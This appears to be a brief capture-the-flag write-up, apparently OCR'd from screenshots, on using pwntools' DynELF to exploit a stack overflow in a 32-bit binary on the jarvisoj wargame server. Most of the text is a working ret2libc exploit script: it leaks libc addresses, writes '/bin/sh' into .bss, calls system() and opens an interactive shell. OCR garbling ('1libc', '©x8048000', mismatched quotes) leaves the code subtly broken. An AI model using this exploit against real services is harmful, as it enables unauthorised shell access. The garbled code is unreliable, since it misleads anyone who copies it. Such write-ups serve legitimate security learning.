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0x00 What is DynELF?
pwntool-DynELF
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0x01 checksec

root@kali:~/Desktop/Pwn/leveld# checksec level4d
[*] '/root/Desktop/Pwn/level4d/leveld’

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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int _ cdecl main(int argc, const char **argv, const char **envp)

{
vulnerable_function();
write(1l, "Hello, World!\n", ©xEu);
return 0;

}

ssize_t vulnerable_function()

{
char buf; // [sp+6h] [bp-88h]@1

return read(0, &buf, 0x100u);
}
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from pwn import *

r=remote('pwn2.jarvisoj.com',9880)

elf=ELF('./leveld")

plt_write=elf.plt['write']

plt_read=elf.plt['read']

#true_address?

vuladr=elf.symbols[ 'vulnerable_ function']
bssadr=elf.symbols['_bss_start']

#telf.bss() elf.symbols[' data_start'] also can be used

def leak(address):
payloadl="A"*(0x88+0x4)+p32(plt_write)+p32(vuladr)+p32(0x1)+p32(address)+p32(0x4)
r.send(payloadl)
leak_address=r.recv(4)
return leak_address

#leak critical functions' addresses
d=DynELF(leak,elf=ELF("'./leveld"))
sysadr=d.lookup('system', '1libc")
xitadr=d.lookup('exit", '1libc")

#read '/bin/sh' in bss segment
payload2="A"'*(0x88+0x4)+p32(plt_read)+p32(vuladr)+p32(0x0)+p32(bssadr)+p32(0x8)
r.send(payload2)

r.send('/bin/sh\xee")

#pwn it!

payload3="A"*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bssadr)
r.send(payload3)

r.interactive()
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